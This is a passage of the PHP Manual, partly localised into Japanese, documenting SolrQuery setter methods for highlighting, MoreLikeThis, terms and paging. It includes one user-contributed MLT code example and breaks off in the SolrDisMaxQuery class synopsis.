field

The name of the backup field

field_override

The name of the field we are overriding this setting for.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specify a formatter for the highlight output

  • ≪ SolrQuery::setHighlightAlternateField
  • SolrQuery::setHighlightFragmenter ≫
  • PHP Manual
  • SolrQuery
  • Specify a formatter for the highlight output

SolrQuery::setHighlightFormatter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFormatter — Specify a formatter for the highlight output

説明

public SolrQuery::setHighlightFormatter ( string $formatter , string $field_override = ? ) : SolrQuery

Specify a formatter for the highlight output.

パラメータ

formatter

Currently the only legal value is "simple"

field_override

The name of the field.

User Contributed Notes

There are no user contributed notes for this page.


Sets a text snippet generator for highlighted text

  • ≪ SolrQuery::setHighlightFormatter
  • SolrQuery::setHighlightFragsize ≫
  • PHP Manual
  • SolrQuery
  • Sets a text snippet generator for highlighted text

SolrQuery::setHighlightFragmenter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFragmenter — Sets a text snippet generator for highlighted text

説明

public SolrQuery::setHighlightFragmenter ( string $fragmenter , string $field_override = ? ) : SolrQuery

Specify a text snippet generator for highlighted text.

パラメータ

fragmenter

The standard fragmenter is gap. Another option is regex, which tries to create fragments that resembles a certain regular expression

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


The size of fragments to consider for highlighting

  • ≪ SolrQuery::setHighlightFragmenter
  • SolrQuery::setHighlightHighlightMultiTerm ≫
  • PHP Manual
  • SolrQuery
  • The size of fragments to consider for highlighting

SolrQuery::setHighlightFragsize

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFragsize — The size of fragments to consider for highlighting

説明

public SolrQuery::setHighlightFragsize ( int $size , string $field_override = ? ) : SolrQuery

Sets the size, in characters, of fragments to consider for highlighting. "0" indicates that the whole field value should be used (no fragmenting).

パラメータ

size

The size, in characters, of fragments to consider for highlighting

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Use SpanScorer to highlight phrase terms

  • ≪ SolrQuery::setHighlightFragsize
  • SolrQuery::setHighlightMaxAlternateFieldLength ≫
  • PHP Manual
  • SolrQuery
  • Use SpanScorer to highlight phrase terms

SolrQuery::setHighlightHighlightMultiTerm

(PECL solr >= 0.9.2)

SolrQuery::setHighlightHighlightMultiTerm — Use SpanScorer to highlight phrase terms

説明

public SolrQuery::setHighlightHighlightMultiTerm ( bool $flag ) : SolrQuery

Use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document.

パラメータ

flag

Whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum number of characters of the field to return

  • ≪ SolrQuery::setHighlightHighlightMultiTerm
  • SolrQuery::setHighlightMaxAnalyzedChars ≫
  • PHP Manual
  • SolrQuery
  • Sets the maximum number of characters of the field to return

SolrQuery::setHighlightMaxAlternateFieldLength

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMaxAlternateFieldLength — Sets the maximum number of characters of the field to return

説明

public SolrQuery::setHighlightMaxAlternateFieldLength ( int $fieldLength , string $field_override = ? ) : SolrQuery

If SolrQuery::setHighlightAlternateField() was passed the value true, this parameter specifies the maximum number of characters of the field to return

Any value less than or equal to 0 means unlimited.

パラメータ

fieldLength

The length of the field

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the number of characters into a document to look for suitable snippets

  • ≪ SolrQuery::setHighlightMaxAlternateFieldLength
  • SolrQuery::setHighlightMergeContiguous ≫
  • PHP Manual
  • SolrQuery
  • Specifies the number of characters into a document to look for suitable snippets

SolrQuery::setHighlightMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMaxAnalyzedChars — Specifies the number of characters into a document to look for suitable snippets

説明

public SolrQuery::setHighlightMaxAnalyzedChars ( int $value ) : SolrQuery

Specifies the number of characters into a document to look for suitable snippets

パラメータ

value

The number of characters into a document to look for suitable snippets

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Whether or not to collapse contiguous fragments into a single fragment

  • ≪ SolrQuery::setHighlightMaxAnalyzedChars
  • SolrQuery::setHighlightRegexMaxAnalyzedChars ≫
  • PHP Manual
  • SolrQuery
  • Whether or not to collapse contiguous fragments into a single fragment

SolrQuery::setHighlightMergeContiguous

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMergeContiguous — Whether or not to collapse contiguous fragments into a single fragment

説明

public SolrQuery::setHighlightMergeContiguous ( bool $flag , string $field_override = ? ) : SolrQuery

Whether or not to collapse contiguous fragments into a single fragment

パラメータ

value

Whether or not to collapse contiguous fragments into a single fragment

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specify the maximum number of characters to analyze

  • ≪ SolrQuery::setHighlightMergeContiguous
  • SolrQuery::setHighlightRegexPattern ≫
  • PHP Manual
  • SolrQuery
  • Specify the maximum number of characters to analyze

SolrQuery::setHighlightRegexMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexMaxAnalyzedChars — Specify the maximum number of characters to analyze

説明

public SolrQuery::setHighlightRegexMaxAnalyzedChars ( int $maxAnalyzedChars ) : SolrQuery

Specify the maximum number of characters to analyze from a field when using the regex fragmenter

パラメータ

maxAnalyzedChars

The maximum number of characters to analyze from a field when using the regex fragmenter

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specify the regular expression for fragmenting

  • ≪ SolrQuery::setHighlightRegexMaxAnalyzedChars
  • SolrQuery::setHighlightRegexSlop ≫
  • PHP Manual
  • SolrQuery
  • Specify the regular expression for fragmenting

SolrQuery::setHighlightRegexPattern

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexPattern — Specify the regular expression for fragmenting

説明

public SolrQuery::setHighlightRegexPattern ( string $value ) : SolrQuery

Specifies the regular expression for fragmenting. This could be used to extract sentences

パラメータ

value

The regular expression for fragmenting. This could be used to extract sentences

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the factor by which the regex fragmenter can stray from the ideal fragment size

  • ≪ SolrQuery::setHighlightRegexPattern
  • SolrQuery::setHighlightRequireFieldMatch ≫
  • PHP Manual
  • SolrQuery
  • Sets the factor by which the regex fragmenter can stray from the ideal fragment size

SolrQuery::setHighlightRegexSlop

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexSlop — Sets the factor by which the regex fragmenter can stray from the ideal fragment size

説明

public SolrQuery::setHighlightRegexSlop ( float $factor ) : SolrQuery

The factor by which the regex fragmenter can stray from the ideal fragment size ( specfied by SolrQuery::setHighlightFragsize )to accommodate the regular expression

パラメータ

factor

The factor by which the regex fragmenter can stray from the ideal fragment size

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Require field matching during highlighting

  • ≪ SolrQuery::setHighlightRegexSlop
  • SolrQuery::setHighlightSimplePost ≫
  • PHP Manual
  • SolrQuery
  • Require field matching during highlighting

SolrQuery::setHighlightRequireFieldMatch

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRequireFieldMatch — Require field matching during highlighting

説明

public SolrQuery::setHighlightRequireFieldMatch ( bool $flag ) : SolrQuery

If true, then a field will only be highlighted if the query matched in this particular field.

This will only work if SolrQuery::setHighlightUsePhraseHighlighter() was set to true

パラメータ

flag

true or false

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the text which appears after a highlighted term

  • ≪ SolrQuery::setHighlightRequireFieldMatch
  • SolrQuery::setHighlightSimplePre ≫
  • PHP Manual
  • SolrQuery
  • Sets the text which appears after a highlighted term

SolrQuery::setHighlightSimplePost

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSimplePost — Sets the text which appears after a highlighted term

説明

public SolrQuery::setHighlightSimplePost ( string $simplePost , string $field_override = ? ) : SolrQuery

Sets the text which appears before a highlighted term

パラメータ

simplePost

Sets the text which appears after a highlighted term

The default is </em>

field_override

The name of the field.

User Contributed Notes

There are no user contributed notes for this page.


Sets the text which appears before a highlighted term

  • ≪ SolrQuery::setHighlightSimplePost
  • SolrQuery::setHighlightSnippets ≫
  • PHP Manual
  • SolrQuery
  • Sets the text which appears before a highlighted term

SolrQuery::setHighlightSimplePre

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSimplePre — Sets the text which appears before a highlighted term

説明

public SolrQuery::setHighlightSimplePre ( string $simplePre , string $field_override = ? ) : SolrQuery

Sets the text which appears before a highlighted term

The default is <em>

パラメータ

simplePre

The text which appears before a highlighted term

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum number of highlighted snippets to generate per field

  • ≪ SolrQuery::setHighlightSimplePre
  • SolrQuery::setHighlightUsePhraseHighlighter ≫
  • PHP Manual
  • SolrQuery
  • Sets the maximum number of highlighted snippets to generate per field

SolrQuery::setHighlightSnippets

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSnippets — Sets the maximum number of highlighted snippets to generate per field

説明

public SolrQuery::setHighlightSnippets ( int $value , string $field_override = ? ) : SolrQuery

Sets the maximum number of highlighted snippets to generate per field

パラメータ

value

The maximum number of highlighted snippets to generate per field

field_override

The name of the field.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Whether to highlight phrase terms only when they appear within the query phrase

  • ≪ SolrQuery::setHighlightSnippets
  • SolrQuery::setMlt ≫
  • PHP Manual
  • SolrQuery
  • Whether to highlight phrase terms only when they appear within the query phrase

SolrQuery::setHighlightUsePhraseHighlighter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightUsePhraseHighlighter — Whether to highlight phrase terms only when they appear within the query phrase

説明

public SolrQuery::setHighlightUsePhraseHighlighter ( bool $flag ) : SolrQuery

Sets whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document

パラメータ

value

Whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables moreLikeThis

  • ≪ SolrQuery::setHighlightUsePhraseHighlighter
  • SolrQuery::setMltBoost ≫
  • PHP Manual
  • SolrQuery
  • Enables or disables moreLikeThis

SolrQuery::setMlt

(PECL solr >= 0.9.2)

SolrQuery::setMlt — Enables or disables moreLikeThis

説明

public SolrQuery::setMlt ( bool $flag ) : SolrQuery

Enables or disables moreLikeThis

パラメータ

flag

true enables it and false turns it off.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

duerra at nospam dot yahoo dot com 18-Nov-2010 04:34
Note that currently, if enabling MLT results in Solr, you also need to set the MinDocFrequency and MinTermFrequency, or you will not get any results back.

<?php
$client = new SolrClient($params);
$query = new SolrQuery();
$query->setMlt(true);
$query->addField('*,score');
$query->setMltMinDocFrequency(1);
$query->setMltMinTermFrequency(1);

//What the MLT documents will be based off of
$query->setQuery('id:doc_10');
$result = $client->query($query);
$result->setParseMode(SolrQueryResponse::PARSE_SOLR_OBJ);
$response = $result->getResponse();

//MLT returns an array of documents based off of the id field value of EACH result returned in the primary search, with an array of MLT documents for each main result document returned

//Presuming the unique field in our schema above is "id" and I know that I will only be getting one document returned in the primary result set, then:
$similarDocs = $response->moreLikeThis->doc_10->docs;

?>

Hope this helps.


Set if the query will be boosted by the interesting term relevance

  • ≪ SolrQuery::setMlt
  • SolrQuery::setMltCount ≫
  • PHP Manual
  • SolrQuery
  • Set if the query will be boosted by the interesting term relevance

SolrQuery::setMltBoost

(PECL solr >= 0.9.2)

SolrQuery::setMltBoost — Set if the query will be boosted by the interesting term relevance

説明

public SolrQuery::setMltBoost ( bool $flag ) : SolrQuery

Set if the query will be boosted by the interesting term relevance

パラメータ

value

Sets to true or false

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Set the number of similar documents to return for each result

  • ≪ SolrQuery::setMltBoost
  • SolrQuery::setMltMaxNumQueryTerms ≫
  • PHP Manual
  • SolrQuery
  • Set the number of similar documents to return for each result

SolrQuery::setMltCount

(PECL solr >= 0.9.2)

SolrQuery::setMltCount — Set the number of similar documents to return for each result

説明

public SolrQuery::setMltCount ( int $count ) : SolrQuery

Set the number of similar documents to return for each result

パラメータ

count

The number of similar documents to return for each result

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum number of query terms included

  • ≪ SolrQuery::setMltCount
  • SolrQuery::setMltMaxNumTokens ≫
  • PHP Manual
  • SolrQuery
  • Sets the maximum number of query terms included

SolrQuery::setMltMaxNumQueryTerms

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxNumQueryTerms — Sets the maximum number of query terms included

説明

public SolrQuery::setMltMaxNumQueryTerms ( int $value ) : SolrQuery

Sets the maximum number of query terms that will be included in any generated query.

パラメータ

value

The maximum number of query terms that will be included in any generated query

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the maximum number of tokens to parse

  • ≪ SolrQuery::setMltMaxNumQueryTerms
  • SolrQuery::setMltMaxWordLength ≫
  • PHP Manual
  • SolrQuery
  • Specifies the maximum number of tokens to parse

SolrQuery::setMltMaxNumTokens

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxNumTokens — Specifies the maximum number of tokens to parse

説明

public SolrQuery::setMltMaxNumTokens ( int $value ) : SolrQuery

Specifies the maximum number of tokens to parse in each example doc field that is not stored with TermVector support.

パラメータ

value

The maximum number of tokens to parse

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum word length

  • ≪ SolrQuery::setMltMaxNumTokens
  • SolrQuery::setMltMinDocFrequency ≫
  • PHP Manual
  • SolrQuery
  • Sets the maximum word length

SolrQuery::setMltMaxWordLength

(PECL solr >= 0.9.2)

SolrQuery::setMltMaxWordLength — Sets the maximum word length

説明

public SolrQuery::setMltMaxWordLength ( int $maxWordLength ) : SolrQuery

Sets the maximum word length above which words will be ignored.

パラメータ

maxWordLength

The maximum word length above which words will be ignored

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the mltMinDoc frequency

  • ≪ SolrQuery::setMltMaxWordLength
  • SolrQuery::setMltMinTermFrequency ≫
  • PHP Manual
  • SolrQuery
  • Sets the mltMinDoc frequency

SolrQuery::setMltMinDocFrequency

(PECL solr >= 0.9.2)

SolrQuery::setMltMinDocFrequency — Sets the mltMinDoc frequency

説明

public SolrQuery::setMltMinDocFrequency ( int $minDocFrequency ) : SolrQuery

The frequency at which words will be ignored which do not occur in at least this many docs.

パラメータ

minDocFrequency

Sets the frequency at which words will be ignored which do not occur in at least this many docs.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the frequency below which terms will be ignored in the source docs

  • ≪ SolrQuery::setMltMinDocFrequency
  • SolrQuery::setMltMinWordLength ≫
  • PHP Manual
  • SolrQuery
  • Sets the frequency below which terms will be ignored in the source docs

SolrQuery::setMltMinTermFrequency

(PECL solr >= 0.9.2)

SolrQuery::setMltMinTermFrequency — Sets the frequency below which terms will be ignored in the source docs

説明

public SolrQuery::setMltMinTermFrequency ( int $minTermFrequency ) : SolrQuery

Sets the frequency below which terms will be ignored in the source docs

パラメータ

minTermFrequency

The frequency below which terms will be ignored in the source docs

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum word length

  • ≪ SolrQuery::setMltMinTermFrequency
  • SolrQuery::setOmitHeader ≫
  • PHP Manual
  • SolrQuery
  • Sets the minimum word length

SolrQuery::setMltMinWordLength

(PECL solr >= 0.9.2)

SolrQuery::setMltMinWordLength — Sets the minimum word length

説明

public SolrQuery::setMltMinWordLength ( int $minWordLength ) : SolrQuery

Sets the minimum word length below which words will be ignored.

パラメータ

minWordLength

The minimum word length below which words will be ignored

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Exclude the header from the returned results

  • ≪ SolrQuery::setMltMinWordLength
  • SolrQuery::setQuery ≫
  • PHP Manual
  • SolrQuery
  • Exclude the header from the returned results

SolrQuery::setOmitHeader

(PECL solr >= 0.9.2)

SolrQuery::setOmitHeader — Exclude the header from the returned results

説明

public SolrQuery::setOmitHeader ( bool $flag ) : SolrQuery

Exclude the header from the returned results.

パラメータ

flag

true excludes the header from the result.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


検索クエリーを設定

  • ≪ SolrQuery::setOmitHeader
  • SolrQuery::setRows ≫
  • PHP Manual
  • SolrQuery
  • 検索クエリーを設定

SolrQuery::setQuery

(PECL solr >= 0.9.2)

SolrQuery::setQuery — 検索クエリーを設定

説明

public SolrQuery::setQuery ( string $query ) : SolrQuery

検索クエリーを設定します。

パラメータ

query

検索クエリー

返り値

現行の SolrQuery オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


Specifies the maximum number of rows to return in the result

  • ≪ SolrQuery::setQuery
  • SolrQuery::setShowDebugInfo ≫
  • PHP Manual
  • SolrQuery
  • Specifies the maximum number of rows to return in the result

SolrQuery::setRows

(PECL solr >= 0.9.2)

SolrQuery::setRows — Specifies the maximum number of rows to return in the result

説明

public SolrQuery::setRows ( int $rows ) : SolrQuery

Specifies the maximum number of rows to return in the result

パラメータ

rows

The maximum number of rows to return

返り値

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.


Flag to show debug information

  • ≪ SolrQuery::setRows
  • SolrQuery::setStart ≫
  • PHP Manual
  • SolrQuery
  • Flag to show debug information

SolrQuery::setShowDebugInfo

(PECL solr >= 0.9.2)

SolrQuery::setShowDebugInfo — Flag to show debug information

説明

public SolrQuery::setShowDebugInfo ( bool $flag ) : SolrQuery

Whether to show debug info

パラメータ

flag

Whether to show debug info. true or false

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the number of rows to skip

  • ≪ SolrQuery::setShowDebugInfo
  • SolrQuery::setStats ≫
  • PHP Manual
  • SolrQuery
  • Specifies the number of rows to skip

SolrQuery::setStart

(PECL solr >= 0.9.2)

SolrQuery::setStart — Specifies the number of rows to skip

説明

public SolrQuery::setStart ( int $start ) : SolrQuery

Specifies the number of rows to skip. Useful in pagination of results.

パラメータ

start

The number of rows to skip.

返り値

Returns the current SolrQuery object.

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables the Stats component

  • ≪ SolrQuery::setStart
  • SolrQuery::setTerms ≫
  • PHP Manual
  • SolrQuery
  • Enables or disables the Stats component

SolrQuery::setStats

(PECL solr >= 0.9.2)

SolrQuery::setStats — Enables or disables the Stats component

説明

public SolrQuery::setStats ( bool $flag ) : SolrQuery

Enables or disables the Stats component.

パラメータ

flag

true turns on the stats component and false disables it.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables the TermsComponent

  • ≪ SolrQuery::setStats
  • SolrQuery::setTermsField ≫
  • PHP Manual
  • SolrQuery
  • Enables or disables the TermsComponent

SolrQuery::setTerms

(PECL solr >= 0.9.2)

SolrQuery::setTerms — Enables or disables the TermsComponent

説明

public SolrQuery::setTerms ( bool $flag ) : SolrQuery

Enables or disables the TermsComponent

パラメータ

flag

true enables it. false turns it off

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the name of the field to get the Terms from

  • ≪ SolrQuery::setTerms
  • SolrQuery::setTermsIncludeLowerBound ≫
  • PHP Manual
  • SolrQuery
  • Sets the name of the field to get the Terms from

SolrQuery::setTermsField

(PECL solr >= 0.9.2)

SolrQuery::setTermsField — Sets the name of the field to get the Terms from

説明

public SolrQuery::setTermsField ( string $fieldname ) : SolrQuery

Sets the name of the field to get the terms from

パラメータ

fieldname

The field name

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Include the lower bound term in the result set

  • ≪ SolrQuery::setTermsField
  • SolrQuery::setTermsIncludeUpperBound ≫
  • PHP Manual
  • SolrQuery
  • Include the lower bound term in the result set

SolrQuery::setTermsIncludeLowerBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsIncludeLowerBound — Include the lower bound term in the result set

説明

public SolrQuery::setTermsIncludeLowerBound ( bool $flag ) : SolrQuery

Include the lower bound term in the result set.

パラメータ

flag

Include the lower bound term in the result set

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Include the upper bound term in the result set

  • ≪ SolrQuery::setTermsIncludeLowerBound
  • SolrQuery::setTermsLimit ≫
  • PHP Manual
  • SolrQuery
  • Include the upper bound term in the result set

SolrQuery::setTermsIncludeUpperBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsIncludeUpperBound — Include the upper bound term in the result set

説明

public SolrQuery::setTermsIncludeUpperBound ( bool $flag ) : SolrQuery

Include the upper bound term in the result set.

パラメータ

flag

true or false

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum number of terms to return

  • ≪ SolrQuery::setTermsIncludeUpperBound
  • SolrQuery::setTermsLowerBound ≫
  • PHP Manual
  • SolrQuery
  • Sets the maximum number of terms to return

SolrQuery::setTermsLimit

(PECL solr >= 0.9.2)

SolrQuery::setTermsLimit — Sets the maximum number of terms to return

説明

public SolrQuery::setTermsLimit ( int $limit ) : SolrQuery

Sets the maximum number of terms to return

パラメータ

limit

The maximum number of terms to return. All the terms will be returned if the limit is negative.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies the Term to start from

  • ≪ SolrQuery::setTermsLimit
  • SolrQuery::setTermsMaxCount ≫
  • PHP Manual
  • SolrQuery
  • Specifies the Term to start from

SolrQuery::setTermsLowerBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsLowerBound — Specifies the Term to start from

説明

public SolrQuery::setTermsLowerBound ( string $lowerBound ) : SolrQuery

Specifies the Term to start from

パラメータ

lowerBound

The lower bound Term

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the maximum document frequency

  • ≪ SolrQuery::setTermsLowerBound
  • SolrQuery::setTermsMinCount ≫
  • PHP Manual
  • SolrQuery
  • Sets the maximum document frequency

SolrQuery::setTermsMaxCount

(PECL solr >= 0.9.2)

SolrQuery::setTermsMaxCount — Sets the maximum document frequency

説明

public SolrQuery::setTermsMaxCount ( int $frequency ) : SolrQuery

Sets the maximum document frequency.

パラメータ

frequency

The maximum document frequency.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the minimum document frequency

  • ≪ SolrQuery::setTermsMaxCount
  • SolrQuery::setTermsPrefix ≫
  • PHP Manual
  • SolrQuery
  • Sets the minimum document frequency

SolrQuery::setTermsMinCount

(PECL solr >= 0.9.2)

SolrQuery::setTermsMinCount — Sets the minimum document frequency

説明

public SolrQuery::setTermsMinCount ( int $frequency ) : SolrQuery

Sets the minimum doc frequency to return in order to be included

パラメータ

frequency

The minimum frequency

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Restrict matches to terms that start with the prefix

  • ≪ SolrQuery::setTermsMinCount
  • SolrQuery::setTermsReturnRaw ≫
  • PHP Manual
  • SolrQuery
  • Restrict matches to terms that start with the prefix

SolrQuery::setTermsPrefix

(PECL solr >= 0.9.2)

SolrQuery::setTermsPrefix — Restrict matches to terms that start with the prefix

説明

public SolrQuery::setTermsPrefix ( string $prefix ) : SolrQuery

Restrict matches to terms that start with the prefix

パラメータ

prefix

Restrict matches to terms that start with the prefix

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Return the raw characters of the indexed term

  • ≪ SolrQuery::setTermsPrefix
  • SolrQuery::setTermsSort ≫
  • PHP Manual
  • SolrQuery
  • Return the raw characters of the indexed term

SolrQuery::setTermsReturnRaw

(PECL solr >= 0.9.2)

SolrQuery::setTermsReturnRaw — Return the raw characters of the indexed term

説明

public SolrQuery::setTermsReturnRaw ( bool $flag ) : SolrQuery

If true, return the raw characters of the indexed term, regardless of if it is human readable

パラメータ

value

true or false

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Specifies how to sort the returned terms

  • ≪ SolrQuery::setTermsReturnRaw
  • SolrQuery::setTermsUpperBound ≫
  • PHP Manual
  • SolrQuery
  • Specifies how to sort the returned terms

SolrQuery::setTermsSort

(PECL solr >= 0.9.2)

SolrQuery::setTermsSort — Specifies how to sort the returned terms

説明

public SolrQuery::setTermsSort ( int $sortType ) : SolrQuery

If SolrQuery::TERMS_SORT_COUNT, sorts the terms by the term frequency (highest count first). If SolrQuery::TERMS_SORT_INDEX, returns the terms in index order

パラメータ

sortType

SolrQuery::TERMS_SORT_INDEX or SolrQuery::TERMS_SORT_COUNT

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


Sets the term to stop at

  • ≪ SolrQuery::setTermsSort
  • SolrQuery::setTimeAllowed ≫
  • PHP Manual
  • SolrQuery
  • Sets the term to stop at

SolrQuery::setTermsUpperBound

(PECL solr >= 0.9.2)

SolrQuery::setTermsUpperBound — Sets the term to stop at

説明

public SolrQuery::setTermsUpperBound ( string $upperBound ) : SolrQuery

Sets the term to stop at

パラメータ

upperBound

The term to stop at

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


The time allowed for search to finish

  • ≪ SolrQuery::setTermsUpperBound
  • SolrDisMaxQuery ≫
  • PHP Manual
  • SolrQuery
  • The time allowed for search to finish

SolrQuery::setTimeAllowed

(PECL solr >= 0.9.2)

SolrQuery::setTimeAllowed — The time allowed for search to finish

説明

public SolrQuery::setTimeAllowed ( int $timeAllowed ) : SolrQuery

The time allowed for a search to finish. This value only applies to the search and not to requests in general. Time is in milliseconds. Values less than or equal to zero implies no time restriction. Partial results may be returned, if there are any.

パラメータ

timeAllowed

The time allowed for a search to finish.

返り値

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.


The SolrDisMaxQuery class

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

クラス概要

SolrDisMaxQuery extends SolrQuery implements Serializable {
/* 継承したプロパティ */
const int SolrQuery::ORDER_ASC = 0 ;
const int SolrQuery::ORDER_DESC = 1 ;
const int SolrQuery::FACET_SORT_INDEX = 0 ;
const int SolrQuery::FACET_SORT_COUNT = 1 ;
const int SolrQuery::TERMS_SORT_INDEX = 0 ;
const int SolrQuery::TERMS_SORT_COUNT = 1 ;
/* メソッド */
public addBigramPhraseField ( string $field , string $boost , string $slop = ? ) : SolrDisMaxQuery
public addBoostQuery ( string $field , string $value , string $boost = ? ) : SolrDisMaxQuery
public addPhraseField ( string $field , string $boost , string $slop = ? ) : SolrDisMaxQuery
public addQueryField ( string $field , string $boost = ? ) : SolrDisMaxQuery
public addTrigramPhraseField ( string $field , string $boost , string $slop = ? ) : SolrDisMaxQuery
public addUserField ( string $field ) : SolrDisMaxQuery
public __construct ( string $q = ? )
public removeBigramPhraseField ( string $field ) : SolrDisMaxQuery
public removeBoostQuery ( string $field ) : SolrDisMaxQuery
public removePhraseField ( string $field ) : SolrDisMaxQuery
public removeQueryField ( string $field ) : SolrDisMaxQuery
public removeTrigramPhraseField ( string $field ) : SolrDisMaxQuery
public removeUserField ( string $field ) : SolrDisMaxQuery
public setBigramPhraseFields ( string $fields ) : SolrDisMaxQuery
public setBigramPhraseSlop ( string $slop ) : SolrDisMaxQuery
public setBoostFunction ( string $function ) : SolrDisMaxQuery
public setBoostQuery ( string $q ) : SolrDisMaxQuery
public setMinimumMatch ( string $value ) : SolrDisMaxQuery
public setPhraseFields ( string $fields ) : SolrDisMaxQuery
public setPhraseSlop ( string $slop ) : SolrDisMaxQuery
public setQueryAlt ( string $q ) : SolrDisMaxQuery
public setQueryPhraseSlop ( string $slop ) : SolrDisMaxQuery
public setTieBreaker ( string $tieBreaker ) : SolrDisMaxQuery
public setTrigramPhraseFields ( string $fields ) : SolrDisMaxQuery
public setTrigramPhraseSlop ( string $slop ) : SolrDisMaxQuery
public setUserFields ( string $fields ) : SolrDisMaxQuery
public useDisMaxQueryParser ( ) : SolrDisMaxQuery
public useEDisMaxQueryParser ( ) : SolrDisMaxQuery
/* 継承したメソッド */
public SolrQuery::addExpandFilterQuery ( string $fq ) : SolrQuery
public SolrQuery::addExpandSortField ( string $field , string $order = ? ) : SolrQuery
public SolrQuery::addFacetDateField ( string $dateField ) : SolrQuery
public SolrQuery::addFacetDateOther ( string $value , string $field_override = ? ) : SolrQuery
public SolrQuery::addFacetField ( string $field ) : SolrQuery
public SolrQuery::addFacetQuery ( string $facetQuery ) : SolrQuery
public SolrQuery::addField ( string $field ) : SolrQuery
public SolrQuery::addFilterQuery ( string $fq ) : SolrQuery
public SolrQuery::addGroupField ( string $value ) : SolrQuery
public SolrQuery::addGroupFunction ( string $value ) : SolrQuery
public SolrQuery::addGroupQuery ( string $value ) : SolrQuery
public SolrQuery::addGroupSortField ( string $field , int $order = ? ) : SolrQuery
